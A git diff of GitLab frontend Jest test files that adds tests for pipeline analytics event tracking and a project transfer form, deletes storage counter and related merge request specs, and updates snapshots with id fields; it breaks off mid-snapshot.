@@ -17,7 +18,7 @@ describe('ProjectsPipelinesChartsApp', () => {
let wrapper;
function createComponent(mountOptions = {}) {
- wrapper = shallowMount(
+ wrapper = shallowMountExtended(
Component,
merge(
{},
@@ -118,6 +119,23 @@ describe('ProjectsPipelinesChartsApp', () => {
expect(updateHistory).not.toHaveBeenCalled();
});
+
+ describe('event tracking', () => {
+ it.each`
+ testId | event
+ ${'pipelines-tab'} | ${'p_analytics_ci_cd_pipelines'}
+ ${'deployment-frequency-tab'} | ${'p_analytics_ci_cd_deployment_frequency'}
+ ${'lead-time-tab'} | ${'p_analytics_ci_cd_lead_time'}
+ `('tracks the $event event when clicked', ({ testId, event }) => {
+ jest.spyOn(API, 'trackRedisHllUserEvent');
+
+ expect(API.trackRedisHllUserEvent).not.toHaveBeenCalled();
+
+ wrapper.findByTestId(testId).vm.$emit('click');
+
+ expect(API.trackRedisHllUserEvent).toHaveBeenCalledWith(event);
+ });
+ });
});
describe('when provided with a query param', () => {
diff --git a/spec/frontend/projects/pipelines/charts/components/statistics_list_spec.js b/spec/frontend/projects/pipelines/charts/components/statistics_list_spec.js
index 4e79f62ce81..57a864cb2c4 100644
--- a/spec/frontend/projects/pipelines/charts/components/statistics_list_spec.js
+++ b/spec/frontend/projects/pipelines/charts/components/statistics_list_spec.js
@@ -1,3 +1,4 @@
+import { GlLink } from '@gitlab/ui';
import { shallowMount } from '@vue/test-utils';
import Component from '~/projects/pipelines/charts/components/statistics_list.vue';
import { counts } from '../mock_data';
@@ -5,8 +6,15 @@ import { counts } from '../mock_data';
describe('StatisticsList', () => {
let wrapper;
+ const failedPipelinesLink = '/flightjs/Flight/-/pipelines?page=1&scope=all&status=failed';
+
+ const findFailedPipelinesLink = () => wrapper.findComponent(GlLink);
+
beforeEach(() => {
wrapper = shallowMount(Component, {
+ provide: {
+ failedPipelinesLink,
+ },
propsData: {
counts,
},
@@ -15,10 +23,13 @@ describe('StatisticsList', () => {
afterEach(() => {
wrapper.destroy();
- wrapper = null;
});
it('displays the counts data with labels', () => {
expect(wrapper.element).toMatchSnapshot();
});
+
+ it('displays failed pipelines link', () => {
+ expect(findFailedPipelinesLink().attributes('href')).toBe(failedPipelinesLink);
+ });
});
diff --git a/spec/frontend/projects/pipelines/charts/mock_data.js b/spec/frontend/projects/pipelines/charts/mock_data.js
index 2e2c594102c..04971b5b20e 100644
--- a/spec/frontend/projects/pipelines/charts/mock_data.js
+++ b/spec/frontend/projects/pipelines/charts/mock_data.js
@@ -48,6 +48,7 @@ export const transformedAreaChartData = [
export const mockPipelineCount = {
data: {
project: {
+ id: '1',
totalPipelines: { count: 34, __typename: 'PipelineConnection' },
successfulPipelines: { count: 23, __typename: 'PipelineConnection' },
failedPipelines: { count: 1, __typename: 'PipelineConnection' },
@@ -70,6 +71,7 @@ export const chartOptions = {
export const mockPipelineStatistics = {
data: {
project: {
+ id: '1',
pipelineAnalytics: {
weekPipelinesTotals: [0, 0, 0, 0, 0, 0, 0, 0],
weekPipelinesLabels: [
diff --git a/spec/frontend/projects/settings/components/transfer_project_form_spec.js b/spec/frontend/projects/settings/components/transfer_project_form_spec.js
new file mode 100644
index 00000000000..f7ce7c6f840
--- /dev/null
+++ b/spec/frontend/projects/settings/components/transfer_project_form_spec.js
@@ -0,0 +1,68 @@
+import { namespaces } from 'jest/vue_shared/components/namespace_select/mock_data';
+import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
+import TransferProjectForm from '~/projects/settings/components/transfer_project_form.vue';
+import NamespaceSelect from '~/vue_shared/components/namespace_select/namespace_select.vue';
+import ConfirmDanger from '~/vue_shared/components/confirm_danger/confirm_danger.vue';
+
+describe('Transfer project form', () => {
+ let wrapper;
+
+ const confirmButtonText = 'Confirm';
+ const confirmationPhrase = 'You must construct additional pylons!';
+
+ const createComponent = () =>
+ shallowMountExtended(TransferProjectForm, {
+ propsData: {
+ namespaces,
+ confirmButtonText,
+ confirmationPhrase,
+ },
+ });
+
+ const findNamespaceSelect = () => wrapper.findComponent(NamespaceSelect);
+ const findConfirmDanger = () => wrapper.findComponent(ConfirmDanger);
+
+ beforeEach(() => {
+ wrapper = createComponent();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('renders the namespace selector', () => {
+ expect(findNamespaceSelect().exists()).toBe(true);
+ });
+
+ it('renders the confirm button', () => {
+ expect(findConfirmDanger().exists()).toBe(true);
+ });
+
+ it('disables the confirm button by default', () => {
+ expect(findConfirmDanger().attributes('disabled')).toBe('true');
+ });
+
+ describe('with a selected namespace', () => {
+ const [selectedItem] = namespaces.group;
+
+ beforeEach(() => {
+ findNamespaceSelect().vm.$emit('select', selectedItem);
+ });
+
+ it('emits the `selectNamespace` event when a namespace is selected', () => {
+ const args = [selectedItem.id];
+
+ expect(wrapper.emitted('selectNamespace')).toEqual([args]);
+ });
+
+ it('enables the confirm button', () => {
+ expect(findConfirmDanger().attributes('disabled')).toBeUndefined();
+ });
+
+ it('clicking the confirm button emits the `confirm` event', () => {
+ findConfirmDanger().vm.$emit('confirm');
+
+ expect(wrapper.emitted('confirm')).toBeDefined();
+ });
+ });
+});
diff --git a/spec/frontend/projects/settings_service_desk/components/service_desk_setting_spec.js b/spec/frontend/projects/settings_service_desk/components/service_desk_setting_spec.js
index 0fd3e7446da..875c58583df 100644
--- a/spec/frontend/projects/settings_service_desk/components/service_desk_setting_spec.js
+++ b/spec/frontend/projects/settings_service_desk/components/service_desk_setting_spec.js
@@ -1,5 +1,5 @@
import { GlButton, GlDropdown, GlLoadingIcon, GlToggle } from '@gitlab/ui';
-import { shallowMount, mount } from '@vue/test-utils';
+import { mount } from '@vue/test-utils';
import { nextTick } from 'vue';
import { extendedWrapper } from 'helpers/vue_test_utils_helper';
import ServiceDeskSetting from '~/projects/settings_service_desk/components/service_desk_setting.vue';
@@ -11,14 +11,14 @@ describe('ServiceDeskSetting', () => {
const findButton = () => wrapper.find(GlButton);
const findClipboardButton = () => wrapper.find(ClipboardButton);
const findIncomingEmail = () => wrapper.findByTestId('incoming-email');
- const findIncomingEmailLabel = () => wrapper.findByTestId('incoming-email-describer');
+ const findIncomingEmailLabel = () => wrapper.findByTestId('incoming-email-label');
const findLoadingIcon = () => wrapper.find(GlLoadingIcon);
const findTemplateDropdown = () => wrapper.find(GlDropdown);
const findToggle = () => wrapper.find(GlToggle);
- const createComponent = ({ props = {}, mountFunction = shallowMount } = {}) =>
+ const createComponent = ({ props = {} } = {}) =>
extendedWrapper(
- mountFunction(ServiceDeskSetting, {
+ mount(ServiceDeskSetting, {
propsData: {
isEnabled: true,
...props,
@@ -131,8 +131,7 @@ describe('ServiceDeskSetting', () => {
it('shows error when value contains uppercase or special chars', async () => {
wrapper = createComponent({
- props: { customEmailEnabled: true },
- mountFunction: mount,
+ props: { email: 'foo@bar.com', customEmailEnabled: true },
});
const input = wrapper.findByTestId('project-suffix');
@@ -142,7 +141,7 @@ describe('ServiceDeskSetting', () => {
await wrapper.vm.$nextTick();
- const errorText = wrapper.find('.text-danger');
+ const errorText = wrapper.find('.invalid-feedback');
expect(errorText.exists()).toBe(true);
});
});
diff --git a/spec/frontend/projects/storage_counter/components/app_spec.js b/spec/frontend/projects/storage_counter/components/app_spec.js
deleted file mode 100644
index f3da01e0602..00000000000
--- a/spec/frontend/projects/storage_counter/components/app_spec.js
+++ /dev/null
@@ -1,150 +0,0 @@
-import { GlAlert, GlLoadingIcon } from '@gitlab/ui';
-import { shallowMount, createLocalVue } from '@vue/test-utils';
-import VueApollo from 'vue-apollo';
-import createMockApollo from 'helpers/mock_apollo_helper';
-import { extendedWrapper } from 'helpers/vue_test_utils_helper';
-import waitForPromises from 'helpers/wait_for_promises';
-import StorageCounterApp from '~/projects/storage_counter/components/app.vue';
-import { TOTAL_USAGE_DEFAULT_TEXT } from '~/projects/storage_counter/constants';
-import getProjectStorageCount from '~/projects/storage_counter/queries/project_storage.query.graphql';
-import UsageGraph from '~/vue_shared/components/storage_counter/usage_graph.vue';
-import {
- mockGetProjectStorageCountGraphQLResponse,
- mockEmptyResponse,
- projectData,
- defaultProvideValues,
-} from '../mock_data';
-
-const localVue = createLocalVue();
-localVue.use(VueApollo);
-
-describe('Storage counter app', () => {
- let wrapper;
-
- const createMockApolloProvider = ({ reject = false, mockedValue } = {}) => {
- let response;
-
- if (reject) {
- response = jest.fn().mockRejectedValue(mockedValue || new Error('GraphQL error'));
- } else {
- response = jest.fn().mockResolvedValue(mockedValue);
- }
-
- const requestHandlers = [[getProjectStorageCount, response]];
-
- return createMockApollo(requestHandlers);
- };
-
- const createComponent = ({ provide = {}, mockApollo } = {}) => {
- wrapper = extendedWrapper(
- shallowMount(StorageCounterApp, {
- localVue,
- apolloProvider: mockApollo,
- provide: {
- ...defaultProvideValues,
- ...provide,
- },
- }),
- );
- };
-
- const findAlert = () => wrapper.findComponent(GlAlert);
- const findLoadingIcon = () => wrapper.findComponent(GlLoadingIcon);
- const findUsagePercentage = () => wrapper.findByTestId('total-usage');
- const findUsageQuotasHelpLink = () => wrapper.findByTestId('usage-quotas-help-link');
- const findUsageGraph = () => wrapper.findComponent(UsageGraph);
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- describe('with apollo fetching successful', () => {
- let mockApollo;
-
- beforeEach(async () => {
- mockApollo = createMockApolloProvider({
- mockedValue: mockGetProjectStorageCountGraphQLResponse,
- });
- createComponent({ mockApollo });
- await waitForPromises();
- });
-
- it('renders correct total usage', () => {
- expect(findUsagePercentage().text()).toBe(projectData.storage.totalUsage);
- });
-
- it('renders correct usage quotas help link', () => {
- expect(findUsageQuotasHelpLink().attributes('href')).toBe(
- defaultProvideValues.helpLinks.usageQuotasHelpPagePath,
- );
- });
- });
-
- describe('with apollo loading', () => {
- let mockApollo;
-
- beforeEach(() => {
- mockApollo = createMockApolloProvider({
- mockedValue: new Promise(() => {}),
- });
- createComponent({ mockApollo });
- });
-
- it('should show loading icon', () => {
- expect(findLoadingIcon().exists()).toBe(true);
- });
- });
-
- describe('with apollo returning empty data', () => {
- let mockApollo;
-
- beforeEach(async () => {
- mockApollo = createMockApolloProvider({
- mockedValue: mockEmptyResponse,
- });
- createComponent({ mockApollo });
- await waitForPromises();
- });
-
- it('shows default text for total usage', () => {
- expect(findUsagePercentage().text()).toBe(TOTAL_USAGE_DEFAULT_TEXT);
- });
- });
-
- describe('with apollo fetching error', () => {
- let mockApollo;
-
- beforeEach(() => {
- mockApollo = createMockApolloProvider();
- createComponent({ mockApollo, reject: true });
- });
-
- it('renders gl-alert', () => {
- expect(findAlert().exists()).toBe(true);
- });
- });
-
- describe('rendering <usage-graph />', () => {
- let mockApollo;
-
- beforeEach(async () => {
- mockApollo = createMockApolloProvider({
- mockedValue: mockGetProjectStorageCountGraphQLResponse,
- });
- createComponent({ mockApollo });
- await waitForPromises();
- });
-
- it('renders usage-graph component if project.statistics exists', () => {
- expect(findUsageGraph().exists()).toBe(true);
- });
-
- it('passes project.statistics to usage-graph component', () => {
- const {
- __typename,
- ...statistics
- } = mockGetProjectStorageCountGraphQLResponse.data.project.statistics;
- expect(findUsageGraph().props('rootStorageStatistics')).toMatchObject(statistics);
- });
- });
-});
diff --git a/spec/frontend/projects/storage_counter/components/storage_table_spec.js b/spec/frontend/projects/storage_counter/components/storage_table_spec.js
deleted file mode 100644
index c9e56d8f033..00000000000
--- a/spec/frontend/projects/storage_counter/components/storage_table_spec.js
+++ /dev/null
@@ -1,63 +0,0 @@
-import { GlTableLite } from '@gitlab/ui';
-import { mount } from '@vue/test-utils';
-import { extendedWrapper } from 'helpers/vue_test_utils_helper';
-import StorageTable from '~/projects/storage_counter/components/storage_table.vue';
-import { projectData, defaultProvideValues } from '../mock_data';
-
-describe('StorageTable', () => {
- let wrapper;
-
- const defaultProps = {
- storageTypes: projectData.storage.storageTypes,
- };
-
- const createComponent = (props = {}) => {
- wrapper = extendedWrapper(
- mount(StorageTable, {
- propsData: {
- ...defaultProps,
- ...props,
- },
- }),
- );
- };
-
- const findTable = () => wrapper.findComponent(GlTableLite);
-
- beforeEach(() => {
- createComponent();
- });
- afterEach(() => {
- wrapper.destroy();
- });
-
- describe('with storage types', () => {
- it.each(projectData.storage.storageTypes)(
- 'renders table row correctly %o',
- ({ storageType: { id, name, description } }) => {
- expect(wrapper.findByTestId(`${id}-name`).text()).toBe(name);
- expect(wrapper.findByTestId(`${id}-description`).text()).toBe(description);
- expect(wrapper.findByTestId(`${id}-icon`).props('name')).toBe(id);
- expect(wrapper.findByTestId(`${id}-help-link`).attributes('href')).toBe(
- defaultProvideValues.helpLinks[id.replace(`Size`, `HelpPagePath`)]
- .replace(`Size`, ``)
- .replace(/[A-Z]/g, (m) => `-${m.toLowerCase()}`),
- );
- },
- );
- });
-
- describe('without storage types', () => {
- beforeEach(() => {
- createComponent({ storageTypes: [] });
- });
-
- it('should render the table header <th>', () => {
- expect(findTable().find('th').exists()).toBe(true);
- });
-
- it('should not render any table data <td>', () => {
- expect(findTable().find('td').exists()).toBe(false);
- });
- });
-});
diff --git a/spec/frontend/projects/storage_counter/components/storage_type_icon_spec.js b/spec/frontend/projects/storage_counter/components/storage_type_icon_spec.js
deleted file mode 100644
index 01efd6f14bd..00000000000
--- a/spec/frontend/projects/storage_counter/components/storage_type_icon_spec.js
+++ /dev/null
@@ -1,41 +0,0 @@
-import { mount } from '@vue/test-utils';
-import { GlIcon } from '@gitlab/ui';
-import StorageTypeIcon from '~/projects/storage_counter/components/storage_type_icon.vue';
-
-describe('StorageTypeIcon', () => {
- let wrapper;
-
- const createComponent = (props = {}) => {
- wrapper = mount(StorageTypeIcon, {
- propsData: {
- ...props,
- },
- });
- };
-
- const findGlIcon = () => wrapper.findComponent(GlIcon);
-
- describe('rendering icon', () => {
- afterEach(() => {
- wrapper.destroy();
- });
-
- it.each`
- expected | provided
- ${'doc-image'} | ${'lfsObjectsSize'}
- ${'snippet'} | ${'snippetsSize'}
- ${'infrastructure-registry'} | ${'repositorySize'}
- ${'package'} | ${'packagesSize'}
- ${'upload'} | ${'uploadsSize'}
- ${'disk'} | ${'wikiSize'}
- ${'disk'} | ${'anything-else'}
- `(
- 'renders icon with name of $expected when name prop is $provided',
- ({ expected, provided }) => {
- createComponent({ name: provided });
-
- expect(findGlIcon().props('name')).toBe(expected);
- },
- );
- });
-});
diff --git a/spec/frontend/projects/storage_counter/mock_data.js b/spec/frontend/projects/storage_counter/mock_data.js
deleted file mode 100644
index 6b3e23ac386..00000000000
--- a/spec/frontend/projects/storage_counter/mock_data.js
+++ /dev/null
@@ -1,92 +0,0 @@
-import mockGetProjectStorageCountGraphQLResponse from 'test_fixtures/graphql/projects/storage_counter/project_storage.query.graphql.json';
-
-export { mockGetProjectStorageCountGraphQLResponse };
-
-export const mockEmptyResponse = { data: { project: null } };
-
-export const defaultProvideValues = {
- projectPath: '/project-path',
- helpLinks: {
- usageQuotasHelpPagePath: '/usage-quotas',
- buildArtifactsHelpPagePath: '/build-artifacts',
- lfsObjectsHelpPagePath: '/lsf-objects',
- packagesHelpPagePath: '/packages',
- repositoryHelpPagePath: '/repository',
- snippetsHelpPagePath: '/snippets',
- uploadsHelpPagePath: '/uploads',
- wikiHelpPagePath: '/wiki',
- },
-};
-
-export const projectData = {
- storage: {
- totalUsage: '13.8 MiB',
- storageTypes: [
- {
- storageType: {
- id: 'buildArtifactsSize',
- name: 'Artifacts',
- description: 'Pipeline artifacts and job artifacts, created with CI/CD.',
- warningMessage:
- 'Because of a known issue, the artifact total for some projects may be incorrect. For more details, read %{warningLinkStart}the epic%{warningLinkEnd}.',
- helpPath: '/build-artifacts',
- },
- value: 400000,
- },
- {
- storageType: {
- id: 'lfsObjectsSize',
- name: 'LFS storage',
- description: 'Audio samples, videos, datasets, and graphics.',
- helpPath: '/lsf-objects',
- },
- value: 4800000,
- },
- {
- storageType: {
- id: 'packagesSize',
- name: 'Packages',
- description: 'Code packages and container images.',
- helpPath: '/packages',
- },
- value: 3800000,
- },
- {
- storageType: {
- id: 'repositorySize',
- name: 'Repository',
- description: 'Git repository.',
- helpPath: '/repository',
- },
- value: 3900000,
- },
- {
- storageType: {
- id: 'snippetsSize',
- name: 'Snippets',
- description: 'Shared bits of code and text.',
- helpPath: '/snippets',
- },
- value: 0,
- },
- {
- storageType: {
- id: 'uploadsSize',
- name: 'Uploads',
- description: 'File attachments and smaller design graphics.',
- helpPath: '/uploads',
- },
- value: 900000,
- },
- {
- storageType: {
- id: 'wikiSize',
- name: 'Wiki',
- description: 'Wiki content.',
- helpPath: '/wiki',
- },
- value: 300000,
- },
- ],
- },
-};
diff --git a/spec/frontend/projects/storage_counter/utils_spec.js b/spec/frontend/projects/storage_counter/utils_spec.js
deleted file mode 100644
index fb91975a3cf..00000000000
--- a/spec/frontend/projects/storage_counter/utils_spec.js
+++ /dev/null
@@ -1,34 +0,0 @@
-import { parseGetProjectStorageResults } from '~/projects/storage_counter/utils';
-import {
- mockGetProjectStorageCountGraphQLResponse,
- projectData,
- defaultProvideValues,
-} from './mock_data';
-
-describe('parseGetProjectStorageResults', () => {
- it('parses project statistics correctly', () => {
- expect(
- parseGetProjectStorageResults(
- mockGetProjectStorageCountGraphQLResponse.data,
- defaultProvideValues.helpLinks,
- ),
- ).toMatchObject(projectData);
- });
-
- it('includes storage type with size of 0 in returned value', () => {
- const mockedResponse = mockGetProjectStorageCountGraphQLResponse.data;
- // ensuring a specific storage type item has size of 0
- mockedResponse.project.statistics.repositorySize = 0;
-
- const response = parseGetProjectStorageResults(mockedResponse, defaultProvideValues.helpLinks);
-
- expect(response.storage.storageTypes).toEqual(
- expect.arrayContaining([
- {
- storageType: expect.any(Object),
- value: 0,
- },
- ]),
- );
- });
-});
diff --git a/spec/frontend/related_merge_requests/components/related_merge_requests_spec.js b/spec/frontend/related_merge_requests/components/related_merge_requests_spec.js
deleted file mode 100644
index 486fb699275..00000000000
--- a/spec/frontend/related_merge_requests/components/related_merge_requests_spec.js
+++ /dev/null
@@ -1,86 +0,0 @@
-import { mount, createLocalVue } from '@vue/test-utils';
-import MockAdapter from 'axios-mock-adapter';
-import mockData from 'test_fixtures/issues/related_merge_requests.json';
-import axios from '~/lib/utils/axios_utils';
-import RelatedMergeRequests from '~/related_merge_requests/components/related_merge_requests.vue';
-import createStore from '~/related_merge_requests/store/index';
-import RelatedIssuableItem from '~/vue_shared/components/issue/related_issuable_item.vue';
-
-const API_ENDPOINT = '/api/v4/projects/2/issues/33/related_merge_requests';
-const localVue = createLocalVue();
-
-describe('RelatedMergeRequests', () => {
- let wrapper;
- let mock;
-
- beforeEach((done) => {
- // put the fixture in DOM as the component expects
- document.body.innerHTML = `<div id="js-issuable-app"></div>`;
- document.getElementById('js-issuable-app').dataset.initial = JSON.stringify(mockData);
-
- mock = new MockAdapter(axios);
- mock.onGet(`${API_ENDPOINT}?per_page=100`).reply(200, mockData, { 'x-total': 2 });
-
- wrapper = mount(localVue.extend(RelatedMergeRequests), {
- localVue,
- store: createStore(),
- propsData: {
- endpoint: API_ENDPOINT,
- projectNamespace: 'gitlab-org',
- projectPath: 'gitlab-ce',
- },
- });
-
- setImmediate(done);
- });
-
- afterEach(() => {
- wrapper.destroy();
- mock.restore();
- });
-
- describe('methods', () => {
- describe('getAssignees', () => {
- const assignees = [{ name: 'foo' }, { name: 'bar' }];
-
- describe('when there is assignees array', () => {
- it('should return assignees array', () => {
- const mr = { assignees };
-
- expect(wrapper.vm.getAssignees(mr)).toEqual(assignees);
- });
- });
-
- it('should return an array with single assingee', () => {
- const mr = { assignee: assignees[0] };
-
- expect(wrapper.vm.getAssignees(mr)).toEqual([assignees[0]]);
- });
-
- it('should return empty array when assignee is not set', () => {
- expect(wrapper.vm.getAssignees({})).toEqual([]);
- expect(wrapper.vm.getAssignees({ assignee: null })).toEqual([]);
- });
- });
- });
-
- describe('template', () => {
- it('should render related merge request items', () => {
- expect(wrapper.find('[data-testid="count"]').text()).toBe('2');
- expect(wrapper.findAll(RelatedIssuableItem)).toHaveLength(2);
-
- const props = wrapper.findAll(RelatedIssuableItem).at(1).props();
- const data = mockData[1];
-
- expect(props.idKey).toEqual(data.id);
- expect(props.pathIdSeparator).toEqual('!');
- expect(props.pipelineStatus).toBe(data.head_pipeline.detailed_status);
- expect(props.assignees).toEqual([data.assignee]);
- expect(props.isMergeRequest).toBe(true);
- expect(props.confidential).toEqual(false);
- expect(props.title).toEqual(data.title);
- expect(props.state).toEqual(data.state);
- expect(props.createdAt).toEqual(data.created_at);
- });
- });
-});
diff --git a/spec/frontend/related_merge_requests/store/actions_spec.js b/spec/frontend/related_merge_requests/store/actions_spec.js
deleted file mode 100644
index 3bd07c34b6f..00000000000
--- a/spec/frontend/related_merge_requests/store/actions_spec.js
+++ /dev/null
@@ -1,113 +0,0 @@
-import MockAdapter from 'axios-mock-adapter';
-import testAction from 'helpers/vuex_action_helper';
-import createFlash from '~/flash';
-import axios from '~/lib/utils/axios_utils';
-import * as actions from '~/related_merge_requests/store/actions';
-import * as types from '~/related_merge_requests/store/mutation_types';
-
-jest.mock('~/flash');
-
-describe('RelatedMergeRequest store actions', () => {
- let state;
- let mock;
-
- beforeEach(() => {
- state = {
- apiEndpoint: '/api/related_merge_requests',
- };
- mock = new MockAdapter(axios);
- });
-
- afterEach(() => {
- mock.restore();
- });
-
- describe('setInitialState', () => {
- it('commits types.SET_INITIAL_STATE with given props', (done) => {
- const props = { a: 1, b: 2 };
-
- testAction(
- actions.setInitialState,
- props,
- {},
- [{ type: types.SET_INITIAL_STATE, payload: props }],
- [],
- done,
- );
- });
- });
-
- describe('requestData', () => {
- it('commits types.REQUEST_DATA', (done) => {
- testAction(actions.requestData, null, {}, [{ type: types.REQUEST_DATA }], [], done);
- });
- });
-
- describe('receiveDataSuccess', () => {
- it('commits types.RECEIVE_DATA_SUCCESS with data', (done) => {
- const data = { a: 1, b: 2 };
-
- testAction(
- actions.receiveDataSuccess,
- data,
- {},
- [{ type: types.RECEIVE_DATA_SUCCESS, payload: data }],
- [],
- done,
- );
- });
- });
-
- describe('receiveDataError', () => {
- it('commits types.RECEIVE_DATA_ERROR', (done) => {
- testAction(
- actions.receiveDataError,
- null,
- {},
- [{ type: types.RECEIVE_DATA_ERROR }],
- [],
- done,
- );
- });
- });
-
- describe('fetchMergeRequests', () => {
- describe('for a successful request', () => {
- it('should dispatch success action', (done) => {
- const data = { a: 1 };
- mock.onGet(`${state.apiEndpoint}?per_page=100`).replyOnce(200, data, { 'x-total': 2 });
-
- testAction(
- actions.fetchMergeRequests,
- null,
- state,
- [],
- [{ type: 'requestData' }, { type: 'receiveDataSuccess', payload: { data, total: 2 } }],
- done,
- );
- });
- });
-
- describe('for a failing request', () => {
- it('should dispatch error action', (done) => {
- mock.onGet(`${state.apiEndpoint}?per_page=100`).replyOnce(400);
-
- testAction(
- actions.fetchMergeRequests,
- null,
- state,
- [],
- [{ type: 'requestData' }, { type: 'receiveDataError' }],
- () => {
- expect(createFlash).toHaveBeenCalledTimes(1);
- expect(createFlash).toHaveBeenCalledWith({
- message: expect.stringMatching('Something went wrong'),
- });
-
- done();
- },
- );
- });
- });
- });
-});
diff --git a/spec/frontend/related_merge_requests/store/mutations_spec.js b/spec/frontend/related_merge_requests/store/mutations_spec.js
deleted file mode 100644
index 436c7dca6ce..00000000000
--- a/spec/frontend/related_merge_requests/store/mutations_spec.js
+++ /dev/null
@@ -1,49 +0,0 @@
-import * as types from '~/related_merge_requests/store/mutation_types';
-import mutations from '~/related_merge_requests/store/mutations';
-
-describe('RelatedMergeRequests Store Mutations', () => {
- describe('SET_INITIAL_STATE', () => {
- it('should set initial state according to given data', () => {
- const apiEndpoint = '/api';
- const state = {};
-
- mutations[types.SET_INITIAL_STATE](state, { apiEndpoint });
-
- expect(state.apiEndpoint).toEqual(apiEndpoint);
- });
- });
-
- describe('REQUEST_DATA', () => {
- it('should set loading flag', () => {
- const state = {};
-
- mutations[types.REQUEST_DATA](state);
-
- expect(state.isFetchingMergeRequests).toEqual(true);
- });
- });
-
- describe('RECEIVE_DATA_SUCCESS', () => {
- it('should set loading flag and data', () => {
- const state = {};
- const mrs = [1, 2, 3];
-
- mutations[types.RECEIVE_DATA_SUCCESS](state, { data: mrs, total: mrs.length });
-
- expect(state.isFetchingMergeRequests).toEqual(false);
- expect(state.mergeRequests).toEqual(mrs);
- expect(state.totalCount).toEqual(mrs.length);
- });
- });
-
- describe('RECEIVE_DATA_ERROR', () => {
- it('should set loading and error flags', () => {
- const state = {};
-
- mutations[types.RECEIVE_DATA_ERROR](state);
-
- expect(state.isFetchingMergeRequests).toEqual(false);
- expect(state.hasErrorFetchingMergeRequests).toEqual(true);
- });
- });
-});
diff --git a/spec/frontend/releases/__snapshots__/util_spec.js.snap b/spec/frontend/releases/__snapshots__/util_spec.js.snap
index b2580d47549..fd2a8eec4d4 100644
--- a/spec/frontend/releases/__snapshots__/util_spec.js.snap
+++ b/spec/frontend/releases/__snapshots__/util_spec.js.snap
@@ -44,6 +44,7 @@ Object {
"author": Object {
"__typename": "UserCore",
"avatarUrl": "https://www.gravatar.com/avatar/16f8e2050ce10180ca571c2eb19cfce2?s=80&d=identicon",
+ "id": Any<String>,
"username": "administrator",
"webUrl": "http://localhost/administrator",
},
@@ -139,6 +140,7 @@ Object {
"author": Object {
"__typename": "UserCore",
"avatarUrl": "https://www.gravatar.com/avatar/16f8e2050ce10180ca571c2eb19cfce2?s=80&d=identicon",
+ "id": Any<String>,
"username": "administrator",
"webUrl": "http://localhost/administrator",
},
@@ -153,6 +155,7 @@ Object {
"__typename": "ReleaseEvidence",
"collectedAt": "2018-12-03T00:00:00Z",
"filepath": "http://localhost/releases-namespace/releases-project/-/releases/v1.1/evidences/1.json",
+ "id": "gid://gitlab/Releases::Evidence/1",
"sha": "760d6cdfb0879c3ffedec13af470e0f71cf52c6cde4d",
},
],
@@ -247,6 +250,7 @@ Object {
"evidences": Array [],
"milestones": Array [
Object {
+ "id": "gid://gitlab/Milestone/123",
"issueStats": Object {},
"stats": undefined,
"title": "12.3",
@@ -254,6 +258,7 @@ Object {
"webUrl": undefined,
},
Object {
+ "id": "gid://gitlab/Milestone/124",
"issueStats": Object {},
"stats": undefined,
"title": "12.4",
@@ -347,6 +352,7 @@ Object {
"author": Object {
"__typename": "UserCore",
"avatarUrl": "https://www.gravatar.com/avatar/16f8e2050ce10180ca571c2eb19cfce2?s=80&d=identicon",
+ "id": Any<String>,
"username": "administrator",
"webUrl": "http://localhost/administrator",
},
@@ -361,6 +367,7 @@ Object {
"__typename": "ReleaseEvidence",
"collectedAt": "2018-12-03T00:00:00Z",
"filepath": "http://localhost/releases-namespace/releases-project/-/releases/v1.1/evidences/1.json",
+ "id": "gid://gitlab/Releases::Evidence/1",
"sha": "760d6cdfb0879c3ffedec13af470e0f71cf52c6cde4d",
},
],
diff --git a/spec/frontend/releases/components/app_show_spec.js b/spec/frontend/releases/components/app_show_spec.js
index 72ebaaaf76c..a60b9bda66a 100644
--- a/spec/frontend/releases/components/app_show_spec.js
+++ b/spec/frontend/releases/components/app_show_spec.js
@@ -58,7 +58,6 @@ describe('Release show component', () => {
const expectFlashWithMessage = (message) => {
it(`shows a flash message that reads "${message}"`, () => {
- expect(createFlash).toHaveBeenCalledTimes(1);
expect(createFlash).toHaveBeenCalledWith({
message,
captureError: true,
diff --git a/spec/frontend/releases/util_spec.js b/spec/frontend/releases/util_spec.js
index 3c1060cb0e8..055c8e8b39f 100644
--- a/spec/frontend/releases/util_spec.js
+++ b/spec/frontend/releases/util_spec.js
@@ -104,13 +104,32 @@ describe('releases/util.js', () => {
describe('convertAllReleasesGraphQLResponse', () => {
it('matches snapshot', () => {
- expect(convertAllReleasesGraphQLResponse(originalAllReleasesQueryResponse)).toMatchSnapshot();
+ expect(convertAllReleasesGraphQLResponse(originalAllReleasesQueryResponse)).toMatchSnapshot({
+ data: [
+ {
+ author: {
+ id: expect.any(String),
+ },
+ },
+ {
+ author: {
+ id: expect.any(String),
+ },
+ },
+ ],
+ });
});
});
describe('convertOneReleaseGraphQLResponse', () => {
it('matches snapshot', () => {
- expect(convertOneReleaseGraphQLResponse(originalOneReleaseQueryResponse)).toMatchSnapshot();
+ expect(convertOneReleaseGraphQLResponse(originalOneReleaseQueryResponse)).toMatchSnapshot({
+ data: {
+ author: {
+ id: expect.any(String),
+ },
+ },
+ });
});
});
diff --git a/spec/frontend/repository/commits_service_spec.js b/spec/frontend/repository/commits_service_spec.js
index d924974aede..697fa7c4fd1 100644
--- a/spec/frontend/repository/commits_service_spec.js
+++ b/spec/frontend/repository/commits_service_spec.js
@@ -52,13 +52,6 @@ describe('commits service', () => {
expect(axios.get.mock.calls.length).toEqual(1);
});
- it('calls axios get twice if an offset is larger than 25', async () => {
- await requestCommits(100);
-
- expect(axios.get.mock.calls[0][1]).toEqual({ params: { format: 'json', offset: 75 } });
- expect(axios.get.mock.calls[1][1]).toEqual({ params: { format: 'json', offset: 100 } });
- });
-
it('updates the list of requested offsets', async () => {
await requestCommits(200);
diff --git a/spec/frontend/repository/components/__snapshots__/last_commit_spec.js.snap b/spec/frontend/repository/components/__snapshots__/last_commit_spec.js.snap
index be4f8a688e0..7854325e4ed 100644
--- a/spec/frontend/repository/components/__snapshots__/last_commit_spec.js.snap
+++ b/spec/frontend/repository/components/__snapshots__/last_commit_spec.js.snap
@@ -2,7 +2,7 @@
exports[`Repository last commit component renders commit widget 1`] = `
<div
- class="info-well d-none d-sm-flex project-last-commit commit p-3"
+ class="well-segment commit gl-p-5 gl-w-full"
>
<user-avatar-link-stub
class="avatar-cell"
@@ -99,6 +99,7 @@ exports[`Repository last commit component renders commit widget 1`] = `
text="123456789"
title="Copy commit SHA"
